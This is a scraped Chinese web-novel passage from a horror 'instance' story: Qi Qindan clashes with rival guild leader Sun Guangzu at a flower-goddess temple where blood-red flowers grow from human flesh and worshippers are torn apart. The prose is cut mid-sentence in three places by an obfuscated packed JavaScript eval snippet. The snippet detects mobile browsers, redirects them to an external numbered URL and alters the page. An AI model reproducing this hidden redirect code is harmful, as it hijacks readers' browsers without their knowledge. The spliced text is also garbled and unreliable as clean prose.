——方才遮蔽视线的烟雾,竟然是祭祀仪式上的袅袅香火。 【副本名称:骨肉繁花】 【等级:E(极难)】 【背景:惜花古镇以花闻名,极为重视一年一度的花婆节。你们千里迢迢,特意来此,却发现这个镇子上的花婆节习俗,似乎和其他地方颇不相同……】 【主线任务:考察惜花古镇的花婆节。】 【初始生命剩余值:1:00:00】 齐檎丹一目十行地抓紧时间,浏览着副本背景信息,殊不知,这个副本已在她直播间里引发了热议。 “天啊,怎么会是这个副本!” “你们怎么都这么惊讶?有知道的能解释一下吗?” “我告诉你吧,这个副本是E级副本里最难的一个。这副本开过好几次了,进去的考察员,就没一个活着出来过。至今,没人通关。” “这难度,不知名公会全员怕是难保喽,也算他们活该吧。” 齐檎丹不知晓直播间里那群观众,已经幸灾乐祸地替他们准备好了遗照,她正研究着系统同步下发的第一个任务。 【任务1:入庙拜花婆】 【既然来到花婆庙前,怎么能不去找花婆祈福呢?相传,惜花镇上的花婆不止能求子,求什么都很灵。】 “真的什么都能求吗?”齐檎丹的疑问,沿着舌尖齿边旋过一圈,化作一声轻之又轻的气音。 传统花婆掌管生育,以花色预判男女。产妇将生男孩,便赐白花,将要生女孩,则赐红花。 而这个花婆…… 齐檎丹缓缓抬头,眺望前方。 隔着灰蒙蒙的香火烟雾,她的视线延伸进花婆庙的大门里面,窥见了神前供桌上,群众备办的好些鸡鸭鱼肉。 首先进入齐檎丹视野里的,是被凶狠地斩断了骨头的筋与肉。这些体积庞大的肉块,一块块软趴趴地铺在桌子上,已分不清原先属于哪一种牲畜。鲜血流干后,肉只剩下发白的淡红,蒙着生命消逝后诡异的死气。 旁边有幸保留了全尸的鸡鸭鱼,更是死不瞑目,一只只大睁着蒙着灰霾的眼睛,惊怖万状地瞪着大殿。 殿中,花婆神像庄严和蔼。 笑容可掬。 然而,那隐蔽在阴翳之下的嘴角,弧度却生硬而阴森。 齐檎丹眸中寒光凛冽。齐檎丹自知,她不像梁安颜大小姐那样,拥有丰富的知识储备,对书籍上阅读到的各类习俗过目不忘,烂熟于心,但她为写拍摄策划寻求灵感时,翻过的故事也算不上少。 在诸多神话传说之中,敢跳出负责的范畴夸下海口,承诺能让所愿皆成真的,若非神通广大的全.能.之神,只会是满口谎言、骗人性命的山魅鬼怪。 这受镇里人供奉的花婆,会是后者吗? 齐檎丹刚迈步走近花婆庙,便感觉有目光落在她身上。相对的,生命剩余值被飞快地啃掉了一截,并且离花婆庙越近,生命剩余值消耗的速度就越快。 目光的方向来自正前方,来自庙宇内的大殿里,供桌后。 但那里,只有花婆的神像。 是神像作祟? 齐檎丹重新退回远离花婆庙的安全距离,算了下生命剩余值的消耗速度,登时心底发沉。 按照以往的经验,这副本里的考察任务,多半是为了庆祝花婆节举办的活动,活动场所必然围绕着花婆庙。 这意味着,给他们每个人分配的初始生命剩余值,即便声称是有一小时之久,实际上,在这恐怖的消耗速度下,要撑个十来分钟都够呛——哪怕把进副本携带的500积分,全用来购买生命剩余值,最多也只能撑半小时。 这么点时间,怎么够通关副本?连完成第一个任务都难。 齐檎丹愁眉不展。 不止她,不知名公会里的其他人,也面临同样的困境。 齐檎丹怎么也没有想到,对他们生命威胁最大的,居然不是鬼怪,而是被飞快消耗的生命剩余值。 这问题生死攸关。齐檎丹正绞尽脑汁,苦想着怎么解决这一难题,身旁却传来一声戏谑的挖苦:“呦,这不是齐檎丹吗?怎么脸色这么难看啊?” 这挖苦里,每个字眼都往外透着股幸灾乐祸的辛辣。齐檎丹不用回头,就能意识到嘲讽她的是何人。 对她这样充满恶意的,除了王座公会的会长孙光祖,不会再有其他。 孙光祖是特意掐着这个时候过来。 来看她笑话的。 孙光祖想来是使用了什么能锁住生命剩余值的道具,表情十分轻松自如。 人至中年的他穿着一身裁剪得当的高定西装,抹了发油的头发一根根梳到脑后,身上还喷着木质调的高级古龙水。这身着装实在是不合时宜,隆重得不像进副本,而是参加什么台下坐满新闻记者的新品发布会。 但很快,齐檎丹就明白,孙光祖为什么会把自己穿成这样了。 孙光祖是刻意为之。 他已经很久不需要,独立通关一个副本了。 作为会长,孙光祖站在这里,就代表了王座公会的脸面形象。而王座公会这样的大公会,从来不缺挤破头想进的人,这些人为了博得王座公会好感所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15205813|158985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打赏的积分,都会进入孙光祖本人的口袋。 不仅有打赏的得来的积分可供挥霍,他下副本也从来带够帮手,自己根本不用操心通关的事情。 钱管够,人管够。 整个副本下来,孙光祖一根手指头都不用动。 只不过打个照面的时间,孙光祖已昂着他养尊处优的下巴,趾高气昂地冲着前面的花婆庙走。然而,孙光祖的目标看似是花婆庙,抬起的脚尖,却分明朝齐檎丹的方向而去。 周围有路不走,孙光祖竟是要直接从齐檎丹身边挤过去。 他要做什么? “齐檎丹,你小心……啊!”苏意虹见势不妙,匆忙挡在齐檎丹身前,想拦住孙光祖,却被走在孙光祖前头开路的王座公会会员,粗.暴地推开。 幸亏旁边的邱义眼疾手快,扶了苏意虹一把,她才没被这力度推得跌倒在地。 同样想上前保护齐檎丹的,还有邱勇。 但他同样被拦。 不知名公会的其他人,只能眼睁睁地看着,孙光祖领着他从王座公会里带出来的鹰犬,大摇大摆,往齐檎丹的方向走了过去。 皮鞋落地的闷响接连不断,空气化作一根细细的弦,随着与齐檎丹距离的接近,越绷越紧。 气氛剑拔弩张。 如果目的地是花婆庙,孙光祖本该和齐檎丹错身而过。 怎料,就在从齐檎丹身边经过的那一刹那,孙光祖突然放缓了脚步,像长辈对晚辈一样,笑容满面地按了按齐檎丹的肩膀。 表情看着和蔼可亲,下手却极重。 那力度,大得像要把齐檎丹的肩锁关节给捏散、震碎。 “齐檎丹,跟所有公会作对的感觉,不好受吧。”孙光祖把压低过的声音,控制在只有两人能听见的音量。他端着虚伪的假笑,再次加重了手掌下施加的力度。 同一时刻,齐檎丹听到了骨骼难以承受的悲鸣。 但齐檎丹忍住了痛。 她不能露怯,尤其不能在敌手面前。 齐檎丹后槽牙不动声色地咬紧,绷住了不自然的神情。她故作轻松地拍掉了孙光祖的手:“比起这件事,让我觉得不好受的,另有其他。” 孙光祖一下被勾起了兴致。能让齐檎丹难受的东西,孙光祖可太乐意得知了。见齐檎丹不爽,他就高兴。 他抬起眼皮:“什么事?” “孙会长不觉得,这里有股气味,实在是难闻得要命吗?”齐檎丹嫌弃地皱起眉,并拢手指,在鼻尖前扇了扇风。 难闻的怪味? 孙光祖的表情瞬间阴冷。 该死。难道有什么异常,是他带进来的那几个没察觉到的?王座公会库房里那么多积分和道具,莫非养出了一群废物蠢蛋? 孙光祖铁青着脸左右嗅闻,灌入鼻腔的,却只有甜蜜得齁人的花香。 花香而已,有什么好怕的? 大惊小怪。 确认花香于身体无碍之后,孙光祖把心稳稳放回了肚子里。 经过这一场虚惊后,他神色间,对齐檎丹也多了几分轻蔑。看来,齐檎丹毕竟还是个新人,太嫩太年轻,一遇到点小事就草木皆兵。就这点火候,怎么配跟他们为敌? 孙光祖心底暗暗发笑:“你说的,不会是这股花香吧?区区花香,就把你吓破胆了?” “噫!不是,可比花香味难闻多了。让我来告诉你,是什么味道吧。”齐檎丹手指紧紧捏着鼻子,一眨眼,就移动到了距离孙光祖足有半米开外的上风口,仿佛在躲一卡车臭气熏天的有害垃圾: “那是一股——喷了满身古龙水,都盖不过的地痞混蛋味。” 齐檎丹唇边漏出滑黠的笑。 她把“地痞混蛋”四字咬得极重,笑容里的嘲弄意味,说不出的锋锐刺眼。 意识到她这四个字讽刺的是谁后,孙光祖勃然色变。他鼻孔张大,脖颈处青筋凸起如树根,几乎维持不住那靠定制西装营造出的优雅面具:“你……” “别瞪我,我可什么都没说啊。”齐檎丹耸了下双肩,扮作无辜地歪头摊手,目光却充满叛逆地在孙光祖隐忍怒气的五官上逡巡,“是你非要这么急着,往自己头上扣屎盆子的,我拦都拦不住。” 孙光祖被气得几乎心肌梗塞。 他高高端坐在上位太久了,这么些年来,一直因为置身这个地位的原因,备受尊敬。平日里,只有孙会长骂人的份儿,没有人敢不知死活地骂他。孙光祖已经数不清,多久没人敢这么对他放肆了。 孙光祖哆嗦着发白的嘴唇,两手紧攥成拳,一时间竟没想起该怎么回嘴。 更何况,正如齐檎丹所说,齐檎丹那番话没有一个字挑明她所骂的对象。孙光祖就算真想骂回去,也师出无名,一旦激烈回骂,反倒会损害到王座公会的形象。 可孙会长咽不下这口气。 他半晌憋不出一个字,脸反而涨成了猪肝色。 那张猪肝色的老脸,怎么看怎么肝气郁结,让人怀疑王座公会这位地位尊贵的会长,下一秒就会背过气去。 最终,孙光祖也没想出个合适点的回击手段。他只能愤愤地从西装口袋中掏出手帕,在拍过齐檎丹肩膀的手上擦了又擦,然后压低眉峰,在齐檎丹耳边凶恶放话:“小心点,别死太快。不然,这场游戏就没意思了。” 孙光祖说完,便领着他那几个王座公会的会员扬长而去,率先进入花婆庙的大门。 齐檎丹缓缓回身,微笑。 她面朝孙光祖离开的背影,笑靥粲然,似乎十分尊重前辈的恭敬态度下,藏不住一头带刺的反骨:“我的个人安危,就用不着您操心了。托您的福,我肯定能活得好好的。” 不仅她自己要好好活着,齐檎丹还要不知名公会全员存活。 王座公会这次打的如意算盘,齐檎丹怎么会不明白?王座公会想要先杀死她,再逼推出公平合同的不知名公会销声匿迹。 齐檎丹绝不让他们如愿。 76. 骨肉繁花3 直到孙光祖的身影,走进了花婆庙的大门之后,齐檎丹唇边的笑意才慢慢冷了下来。 王座公会已经进庙要开始第一个任务了,他们不知名公会却还在为了生命剩余值的事情发愁,从一开始就拉开这么大的差距,齐檎丹很难不心忧。 但他们一没有锁血的道具,二没有直播打赏。 想要赶超,何其困难。 齐檎丹垂着眼睑,不动声色地叹了口气。 然而,齐檎丹的心神,无法完全放在想解决对策上。因为,从孙光祖的态度当中,她感受到了凛冽的杀意。 而杀.戮同为考察员的齐檎丹这件事,毕竟存在风险。齐檎丹猜想,孙光祖多半不会亲自动手,而是会交由那些会员代劳——随孙光祖一起进来的会员们,不仅起着保护他的作用,更是握在孙光祖手里的一把刀。 她必须对这几个人有充分的了解,才算是知己知彼。 这会儿,孙光祖进花婆庙了,但他带来的王座公会会员却还没全部进庙。除了走在孙光祖前面探路的那个,更多的则在后面跟随。齐檎丹刚好趁着这个时间,默默在心底里数着人数,顺便记忆着他们各自的特征。 探路的那个王座公会会员走在第一个,特征最明显。他是个独眼龙,瞎了的那只眼睛上,蒙着黑色眼罩,有种海盗或者土匪的凶神恶煞感。 乖觉地紧跟在孙光祖后面的,是王座公会一个一直提防着他们的会员。 那人有一双兽瞳。 黄.色的虹膜上,瞳孔竖立如纺锤。 这一点反常之处,应该是个人专属技能附着在双眼上造成的。他的眼睛,从此拥有了某些猫科动物的特质。是视野更宽广?还是夜视能力强?齐檎丹在这方面打了个问号,准备后续着重观察。 孙光祖带进副本的第三个人,神秘阴郁,齐檎丹暂且称呼他“灰帽子”。因为他头上戴着一顶灰黑色的鸭舌帽,帽檐压得很低,加上走路时习惯性的低头,整张脸只露出一个下巴。 再然后,是…… 当王座公会的最后一个人,从齐檎丹面前经过时,齐檎丹的眸光骤然冻住。 熟悉到她能在心里勾描出的五官线条,因为职业身份是科研人员,所以几乎焊死在身上的白大褂。出现在视野中的人影清瘦孤傲、剑眉星目,分明是齐檎丹在那段幽暗困顿的时光里,曾经描摹过千万遍的模样。 顾斩风?他怎么也进了这个副本? 是孙光祖带的他? “顾斩风……”齐檎丹试图唤他,却在他冰冷的目光中噤了声。 齐檎丹看见顾斩风眉眼之间的寒霜,也看见他不似往常的陌生神情。那不是看熟人的眼神。 是看敌人的。 齐檎丹的肩膀缓慢地塌了下来,扯着了孙光祖故意捏出的伤痕。方才与孙光祖对峙时,被肾上腺素暂时减轻的痛苦,卷土重来,疼得齐檎丹心里发慌。 不用瞅上一眼,她就能想象得到,被孙光祖下死手捏过的那边肩膀上,现在覆盖着怎样一片难看的淤青。 顾斩风皱了皱眉,终于瞥了她一眼。 探究的视线薄而凉。 像一把精美但无情的解剖刀,抵在齐檎丹的脖颈上。 越靠近花婆庙,花香的芬芳便越发浓稠甜腻。齐檎丹浸泡在缠.绵缱绻的花香里,却觉得她正躺在解剖台的无影灯下,被曾经可以交付后背的人亲手执刀,由表及里地层层剖开。 齐檎丹本能地感觉到冷。冷意锥心刺骨,直钻骨髓。 那不是身冷,是心寒。 即便料想到,王座公会可能已对顾斩风使用了遗忘她的道具,齐檎丹的心脏,还是在顾斩风那探究的一瞥下,禁不住微微泛酸。 真奇怪,为什么会有些难受呢?明明她对顾斩风的执着,已成往日旧事,明明她如今对顾斩风的兴趣,只是因为想拍摄对方身上的蛇鳞。即便遗憾,她也不该这样在乎。 齐檎丹询问自己,却没能得到答案。 她唯一知道的是,现在,绝对不是可以放任感伤泛滥的时候。她必须行动起来。 齐檎丹把收集到的王座公会会员信息总结后,发在不知名公会的群里:“王座公会为孙光祖带的帮手,一共有四个。独眼龙、眼睛有技能的狞猫、灰帽子,还有疑似被使用了道具的顾斩风……” 齐檎丹发进群里的总结简短,尽可能言简意赅。 她没办法在这件事上多花时间。不知名公会中,每个人的生命剩余值都在飞速消逝着,这速度,达摩克里斯之刃一样高悬在头顶。 延长生命剩余值的时长,迫在眉睫。 然而,除了少到几乎可以忽略不计的打赏积分,他们想要得到积分,只有一条路可走—— 那就是,剧情解锁度。 但,庙外只是普通的民居。要寻觅剧情解锁度的突破口,只能冒着极大的风险,深入花婆庙里去找。 “我们还是得进去庙里一趟。”齐檎丹严肃地说,“但不是所有人。” 生命剩余值如此抓襟见肘的前提下,进入花婆庙,意味着要将包里仅有的500积分,付之一炬。 由于现在还无法确定,从花婆庙里能不能获取剧情解锁度,能获取多少,如果他们四个人都以这个方式,把积分彻底清零,难免有些太过莽撞。 因此,最保险的策略,是只进去几个人。 其他人则留在外面等待。 不进庙里的人,可以将手头的积分留下来。除了自用以外,这部分积分也可作为不知名公会为了应急储备的备用资源,转移给生命剩余值即将耗尽的会员。 必要时,能够救命。 邱义、邱勇兄弟想到了这一层,但因之前经历造成的阴影,他们现如今对所有的公会会长,都有些缺乏信任。 即便对齐檎丹有一定信心,他们还是对这种十分可能送命的危险活,心存疑虑。 于是迟迟没有响应。 在生命剩余值岌岌可危的时候,带着这点残血硬闯花婆庙,无疑等同于把生命完全交到齐檎丹手里。万一齐檎丹到时候自己也要积分,不肯把积分拨给他们救命,那可怎么办? 不怕一万,就怕万一。 他们不敢赌。 苏意虹主动请缨:“我跟你进去吧。我给客人化妆有把控细节的要求,观察力大概能比普通人敏锐一些,能帮得上忙。” 齐檎丹从不怀疑她的能力,这件事就这么定了下来。 邱义和邱勇留着积分,守在花婆庙外,齐檎丹和苏意虹则进入庙内,展开探索。 . 一踏进花婆庙的门,生命剩余 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15229064|158985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 值立刻断崖式暴跌。 没三两秒,就影响到了身体状况。 齐檎丹心脏猛然挛缩。 仿佛这颗心被勒在粗糙的麻绳上,提起来吊到半空。绳圈收紧般的窒息感,迫使齐檎丹不得已将500积分全部换成了生命剩余值。如此,负面影响才终于减弱了一些。 暂时的危机稍解,然而总体的情况却不容乐观。 身边可用的积分空空如也,生命剩余值减少的速度仍旧惊人。恍如这花婆庙中,藏了只贪得无厌的饕餮巨口,一刻不停地吸食着他们的生命。 齐檎丹四下一扫,以最快速度观察了花婆庙的环境。庙里为祈福而来的群众众多,连行走时都难免摩肩接踵,王座公会在这里动手的可能性不大,比起提防王座公会出手,尽快突破剧情解锁度才是正经事。 “我们在庙里分散开来,尽可能寻找与剧情相关的线索。”齐檎丹刚对苏意虹说完,就见苏意虹丢了魂一般,直愣愣地向摆放神像的殿内走去。 直到齐檎丹往她身上一拍,苏意虹才猝然回了神:“你看,花婆神像脚下的那些,是什么?” 那是花。 盛开到糜烂的花。 花婆神像脚下花团锦簇,没有一片绿叶。 那些花全部维持在最美的花型,每朵足有碗口般大小,花.瓣层层叠叠,片片嫩如软玉,观赏性极佳。然而,除了对花婆无比痴迷崇敬的信众,没有人会认为,这些花多么令人惊艳。 常人所能感受到的,只有惊悚。 传说故事里,花婆以赐花为主要赐福方式之一,她的神像会被繁花簇拥着并不奇怪。怪的,是这些花的颜色。 这些花瓣全是深邃的暗红。红得妖冶,红得诡异,像吸饱了鲜血的嘴唇,染着猎物寿命终结前留下的最后一抹艳色。 妖异,又诡魅。 成堆的花朵挨在一起,便形成一滩血。 鬓发苍苍的花婆身着万花锦衣,伫立在血泊当中,唇上胭脂与鲜血同色。 死亡与衰老,这两样最为世人所畏惧的事物,两相映照,不知不觉间,将花婆老脸上浮现出的慈祥微笑,也散染上了幽森的气息。 充斥镇子里的诡异甜香,就是源自于这些花。刚刚,苏意虹正是被此花魇住了。 竟然能迷惑心神。 这些花,究竟是什么来头? 想起花香里隐藏的血腥味,齐檎丹茶色的瞳眸蓦然一凝,趁着左右信众皆忙于参拜,她健步上前,两指悄然拈起一片花瓣,往花下一瞧。 好家伙!这花不只是颜色像血,靠近底部的根茎上,也沾着不易察觉的肉糜和血污。而根据齐檎丹多年将花卉作为拍摄道具的了解,在同一位置,其他花木上沾的,一般只是土屑。 血污和土屑的位置,蹊跷地重合。 就仿佛—— 这些花不是从土里生长出来的,而是像影片里某些可怖的寄生物一样,撕开人类的皮囊血肉,从中钻出的。 人的血肉之躯,才是这种花天然的沃土。 登时,一阵恶寒席卷全身。 齐檎丹瞬间松手。 被放开的血红花瓣,在她眼皮子底下柔柔弱弱地颤动了两下,从花瓣前端,滚下一颗浓稠的血珠。 “啪嗒”一声,甩开万道血光。 77. 骨肉繁花4 【恭喜解锁剧情!奖励积分+300】 【剧情解锁度:30%】 犹如久旱逢甘霖。这系统奖励的300积分,顷刻间,为齐檎丹填补上了空空如也的积分储备。 然而,足足三分之一的剧情解锁度,并没有让齐檎丹因此而感到半分开心。因为,这种花从人体中孕育而出的假设,一旦得到了系统的证实,便意味着,这惜花小镇的繁花开遍之下,处处皆埋藏着累累白骨,处处都是危机。 那些花是吸饱了血,才有如今这般鲜妍,吃尽了肉,才有如今这般绚烂。 这里的花,吃人。 “但,花婆是壮族的母亲神,怎么会如此草菅人命?”这个发现,颠覆了齐檎丹对花婆一贯的印象。 在壮族文化里,所有人起初都是花婆姆六甲花园里养出来的花,死后都会回归花山,还原为花。在另一则故事中,花婆是热善好施的卖粥阿婆,常常头戴鲜花,免费施粥。 但不管在哪一则故事里,花婆都是仁慈亲和的形象,怎么会跟这般残忍的养花方式扯上关系? 齐檎丹感到难以置信。 难不成这惜花镇里,不仅是节日与外界的花婆节不同,连花婆也与其他地方大不相同? 但这样手段凶残的花婆,为什么会得到镇上所有居民的尊崇? “啊啊啊——” 撕心裂肺的惨叫声,在耳边响起。 粉碎了庙内的宁静。 齐檎丹急忙冲那方向扭头过去,不料,先映入眼帘的,却是邱义和邱勇面孔。 “不是……你们怎么也进来了?你们不应该在外面守着吗?”陡然的变故,让齐檎丹惊疑讶然。 齐檎丹所有的计划都被打乱了。他们兄弟两人都进来了,那谁留在外面观测情况?谁能够剩下积分,作为公会应急时的物资储备? “我们是被撵进来的。”邱义垂着头无奈道,“第一个任务开始了。” 他说着,向一旁望去。 所看的方向,竟与那惨叫响起的方向,完全相同。 “啊啊啊啊啊!!!”惨叫还在继续,持续的高音几乎要将声带撕裂。 只见花婆庙外,已然被一群身着红衣的青年男女团团围住。他们载歌载舞,敲锣打鼓,与寻常巡街的演艺人员并无区别。然而,那红衣上的繁花纹样颜色如血,赫然是花婆脚下那食人魔花的模样。 巡街队伍浩浩荡荡,几个动作慢的考察员躲闪不及,一下子撞在了演艺人员身上。 撞击只是一瞬间的事。 但,那几个考察员的身体,却在那一瞬之内发生了变化。他们痛苦的嚎叫着,躯壳好似被迎面泼了强酸一样,极速腐蚀。 才不过短短数息时间,已融化为一地触目惊心的血水。 活人融化的惨状就在眼前,演艺人员却竟然发出了震天的欢呼。喧天锣鼓中,他们笑容满面地继续往前,争着将鞋底从挡路的血水上踏去,不一会儿,便踩淡了血水。而他们身上的花色,却更加鲜艳欲滴。 显然,这便是镇里撵人的方式。 这群走到哪儿杀到哪儿的巡街队伍,恰恰解释了,为什么镇里全是崇拜花婆的狂热分子。 这一关,摆明了是为了筛选“信徒”而设计的。若不进庙里,诚心诚意地参拜花婆,就会变为养分,被这些演职人员衣服上的繁花吸收。 像邱义和邱勇这样在花婆庙外徘徊逗留的人,若没有及时进到庙里去,这摊血水,就是他们的下场。 在这个惜花古镇里,只有信仰花婆的人,才能活。 . 巡街的演职人员一到花婆庙门口,就从人群中,走出一个主持花婆祈福仪式的老人。 这位“老人”的年纪有可能不老,进庙的步伐矫健有力。之所以让人觉得她是“老人”,完全是因为她头顶上戴着的,那个大得滑稽的花婆头套。 那头套,原本就比常人的头颅大了数倍不止,上面装饰的银白色假发和好些花朵头饰,更在视觉上起到了膨胀作用。笨重硕大的一颗脑袋,安在不成比例的身躯上,衬托得四肢细长无比。 很有种畸变的怪诞诡谲。 那戴着老婆婆头套、身着花衣的老人,走到哪里,周围人就跟摩西分海似的让开一条道路,恭恭敬敬闭上嘴.巴,压低声音。 先前嘈杂的花婆庙,霎时间,竟安静得针落可闻。 “这个人什么来头?” 齐檎丹在不知名公会群里问。 “这个扮成花婆的,跟外面巡街的一样,都是镇长请的人。”在花婆庙外等候的那段时间里,邱勇没有白白浪费,他打听到了少许风声,“惜花古镇里历年的花婆节,都是由镇长组织。出钱、请人、策划方案,都是由镇长一手操办。” 真花婆不在场,扮演花婆的人就被短暂地赋予了神格,有了神的地位。 被镇长请来的假花婆尚且如此,几十年来一直组织花婆节活动的镇长,更容易受人们对花婆的崇拜所感染,得到比镇长地位更高的尊敬。 “要组织这么盛.大的花婆节活动,花费可不小。这县长一定很有财力,也在当地很有名望。”苏意虹发出感慨。 刚感慨完,就有镇里居民搭腔:“是啊,他可是我们镇上的大善人。” 但大善人派来的假花婆,现在正忙着杀人。 “祈福仪式现在开始。由于花婆庙地方有限,花婆将分批次为大家赐福。不着急,每个人都有份。”假花婆沉重的头颅转动了一下,紧接着,声音从厚重的头套下传来,听起来瓦声瓦气。 假花婆扫视了一圈,看不清眼球的两弧眼睛眯成了缝。 她选中了第一批祈福的人。 假花婆幽幽“看”向几个运气不佳的考察员:“剩下的人先退出大殿。你们几个,留下。” 她这句话,完全是命令的语气。说时迟那时快,庙里维持秩序的人手应声涌来,把齐檎丹等无关人等遣出了神殿。包括这些人手自己,也站到了神殿外面,并且拉住了神殿的门环。 这些人居然连门都要关! 什么祈福是人不能看的?是拿尸体种花,还是杀人献祭? 被选中的那些考察员齐檎丹并不认得,想来是其他公会的考察员,只是恰好进了同一个副本。但是,这些人恐怕也发现了这些花的秘密。 一见假花婆叫人把门关上,他们的表情立刻变得非常不自然。 其中一人脸色变了又变,终于赶在门缝完全闭合之前, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15239878|158985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猛冲到神殿门前,用手狠狠往外一推:“你让我们困在这里,我们就非得困在这里啊?我就不,我就要出去。” 齐檎丹能理解他的想法。外头的人手再怎么数量众多,也不过是普通百姓,怎么可能比得过有技能有道具的考察员。 再说了,能被匹配到E级副本的考察员,实力必不可能差。 这一点上,这考察员是对的。 但他只对了一半。 因为他需要对付的,不止是外头的那群泛泛之辈。 那考察员扒开了即将被合拢的门缝,阳光顺势挤进缝隙里,他狂喜地向神殿外的光亮伸长了手,却没听到,背后假花婆闷在头套下的喉咙,正发出沙哑的嗤笑。 阳光晒在指头尖上,暖暖的,带着使人心安的热度,和阴测测的神殿里完全不同。 他要出去! 外面没有吃人的繁花,没有头大身小的假花婆,比起这里安全多了。 那考察员侧身把肩膀往前一送,想伺机钻出神殿,重获自由。怎料,半个肩膀还没出门,一股不知从何而来的巨力就忽然缠上了他的脚腕,往后重重一拽。 “砰!”大门合拢的声音,和那考察员摔倒的声音同时响起。 两声闷响合二为一。 被从门边拖远的那个考察员,徒劳地合拢五指,拼命想要把外面的阳光抓进掌心。 却只抓到一手落寞的尘埃。 当那考察员舒展开手掌,只看到掌纹里灰烬的那一刻,他终于忍无可忍地低头,看向了脚腕上阻碍他逃出生天的东西。 抓住他的是一只手。 又不像一只手。 那只手有着人类的手指,人类手部的外形,手臂却像藤条一样柔韧细长。更重要的是,这只手并不延伸自任何人类的肢体—— 它是从壁画里钻出来的。 在看清楚的那只手的那一刻,考察员浑身的鸡皮疙瘩猛然炸起。 他从系统背包中随手摸出一把刀子,手起刀落,将那只恶心人的手臂,狠狠砍了下来。 然而,一切远远尚未结束。 他遇上了难缠的对手。 砍断一双手,壁画里就又伸.出千千万万双,任凭那考察员使尽浑身解数,都逃不出这看似柔.软无力的天罗地网。 人会累,会疲乏,总会有没法面面俱到的地方,然而,这无数妖魔一般破壁而出的怪手,却不会。只是一晃神的时间,其中一双手便揪住破绽,乘虚而入,十个指头牢牢掐上了那考察员的脖颈。 大得恐怖的力度,一瞬间在他脖颈上留下十个青黑的掐痕。 “咳咳咳,放开我吧,我不逃了……”那考察员呛咳着求饶。 而主持花婆祈福仪式的假花婆,只平静地拜着面前堆满森然笑意的花婆神像。她慢悠悠地拖长了语调:“祈福仪式已经开始。任何人不得中途退出,否则视为对花婆不敬。” 眼看着同公会的人被勒得直翻双眼,口吐白沫,与那考察员交好的队友再也忍不下去了,他颤.抖着嗓音询问:“如果对花婆不敬……会怎么样?” 这一次,假花婆总算有了反应。她僵硬地转过头,口里发出“咯咯”奸笑: “对花婆不敬者,死!” 78. 骨肉繁花5 就在话音落下的须臾,千百双手疯狂地缠了上来。将香火袅袅的神殿,变成一个血肉横飞的狩猎场。 收缩,紧箍,绞缠,然后向上下左右分别撕扯。 肢体在强力下四分五裂。 化作一滩烂肉。 死无全尸。 “哗啦——”滚烫的鲜血,泼洒在窗上,打湿了花婆庙为了建筑足够仿古而糊上去的窗户纸。 这些鲜血本该完完全全被拦在殿里的,然而,窗户纸上不知何时多出了一个小小洞口,使得一部分血液有了向外的渠道,通过洞口,喷到了外面,洒在齐檎丹眼前。 窗户纸上这个小孔,正是齐檎丹被推到神殿外后,偷偷用指头戳出来的。 齐檎丹借着孔隙往里窥视。 她茶色的眼瞳,将里面这场惨无人道的杀.戮情形,看得一清二楚。 被千百双手撕裂的结局,不亚于加强版的五马分尸,她看见,那考察员还在地面上弹动的残躯断臂。而只在随后,这些尚还温热的残肢,被那些怪手从满地鲜血里拾起,吸进墙壁,成为了壁画中崭新的花纹——壁画里为数众多的手臂,就是这么来的。 发现那考察员惨烈身死后,几个与他关系好的队友怒不可遏,发起反攻。浇在窗上的血越来越多。 齐檎丹没再继续窥探。 单从窗上的血色,她已知道了结局。 这一次鏖战过后,壁画当中,可能又要多出好几双手了。 最后,原先被假花婆选中祈福的一大群人里,只剩下一个人哆哆嗦嗦,手足无措地站在原地。因为门外的齐檎丹,只听到两个人的呼吸声。 “还愣着干什么?来参拜花婆啊。”齐檎丹听到神殿里的假花婆这样说。而后,虚浮无力的脚步声接连响起,最后以膝盖“扑通”跪到蒲团上的声音收尾。 约摸一分钟后,神殿的门,被假花婆从里面重新打开。 露出门后跪拜的那人。 假花婆手里拿着签筒,递了过去:“现在开始抽签。抽到带花的签,有机会被花婆赐花。” 那人早被此前的屠杀给吓得傻了,他茫然地按照平日里求签的样子,抱着签筒,左右前后地来回摇晃。不多时,竹筒里便掉出一支签来。 签子底端带红,图样是血色的花.瓣。 他中签了。 那人的瞳孔骤然缩小,然而眼前的两扇门,不等他反应已然合上。 这回,不同于方才那一分钟的祈福,连假花婆本人,都顶着硕大的头套退了出去。她向等候的人群宣布,口吻里能听出明显的笑意:“恭喜这位中签者,花婆要给他赐花了!” 顿时,这消息如投石入湖,在聚集的信众当中,激起了一片沸腾。 “这人的运气真是好啊。” “得到花婆的赐花,那是难得的福分。” “可不是嘛,花婆都多久没给人赐过花了。” “……” 